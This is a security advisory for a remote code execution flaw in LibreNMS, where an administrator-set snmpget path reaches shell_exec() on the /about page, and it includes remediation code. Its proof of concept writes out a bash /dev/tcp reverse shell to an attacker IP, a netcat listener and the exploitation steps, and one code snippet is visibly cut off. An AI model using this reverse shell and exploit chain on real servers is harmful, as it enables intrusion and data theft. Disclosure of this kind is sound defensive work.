GHSA-jf24-8g2h-2wg7 LibreNMS Vulnerable to Remote Code Execution via AboutController

• Packagist librenms/librenms: < 26.5.0 → fixed in 26.5.0

Remote Code Execution via AboutController in LibreNMS Summary A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the `snmpget` configuration parameter to execute arbitrary system commands. When the `/about` endpoint is accessed, the application executes the configured binary path via `shell_exec()` without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access. Severity: High (CVSS 7.2) Attack Vector: Network Privileges Required: High (Administrator) User Interaction: None Impact: Complete system compromise with web server privileges --- Details Vulnerable Code File: `app/Http/Controllers/AboutController.php` Line: 85 ```php 'version_netsnmp' => str_replace('version: ', '', rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))), ``` Root Cause The AboutController retrieves the `snmpget` configuration value from the database and directly concatenates it into a `shell_exec()` call without proper validation or escaping. While the `sanitizePath()` function attempts to validate executable paths by blocking special characters (`;`, `` ` ``, `#`, `$`, `|`, `&`, `'`, `"`, `>`, `type === 'executable') { $value == $this->sanitizePath($value); return $value !== false && is_file($value) && is_executable($value); } ``` Attack Scenarios | Scenario | Description | |----------|-------------| | Insider Threat | Internal admin creates malicious file → updates config → RCE | | Privilege Escalation | Attacker with limited access → creates file → full RCE | | Supply Chain | Malicious package installs binary → admin uses it → RCE | --- PoC Prerequisites • Valid administrator credentials for LibreNMS web interface • Ability to create a file on the target system (via prior access, SSH, or another vulnerability) Proof of Concept - Reverse Shell Step 1: Create Malicious Executable Create a reverse shell payload that connects back to the attacker: ```bash ATTACKER_IP="172.16.69.144" ATTACKER_PORT=9001 bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null ``` Save this as `/tmp/rev_shell.sh` and make it executable: ```bash chmod +x /tmp/rev_shell.sh ``` Step 2: Setup Netcat Listener On your attacking machine, start a netcat listener: ```bash nc -lvnp 9001 ``` Step 3: Update Configuration via Web Interface Login to LibreNMS web interface as administrator and navigate to: • Settings → External → Binaries • Locate snmpget configuration • Update the value to: `/tmp/rev_shell.sh` • Click Save Step 4: Trigger RCE Access the `/about` endpoint to execute the malicious binary: --- Impact Summary | Category | Level | Description | |----------|-------|-------------| | Confidentiality | HIGH | Read config files, database credentials, SSH keys | | Integrity | HIGH | Create webshells, backdoors, modify code | | Availability | HIGH | Disrupt services, delete data, stop monitoring | | Scope | CHANGED | Compromise extends beyond application to system | Who Is Impacted • LibreNMS installations where attacker has admin credentials AND file system access • Organizations using LibreNMS for network monitoring • Systems monitored by LibreNMS (lateral movement risk) --- Remediation Replace `shell_exec()` with Symfony Process component: ```php // BEFORE (vulnerable): shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1') // AFTER (safe): $process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']); $process->run(); ```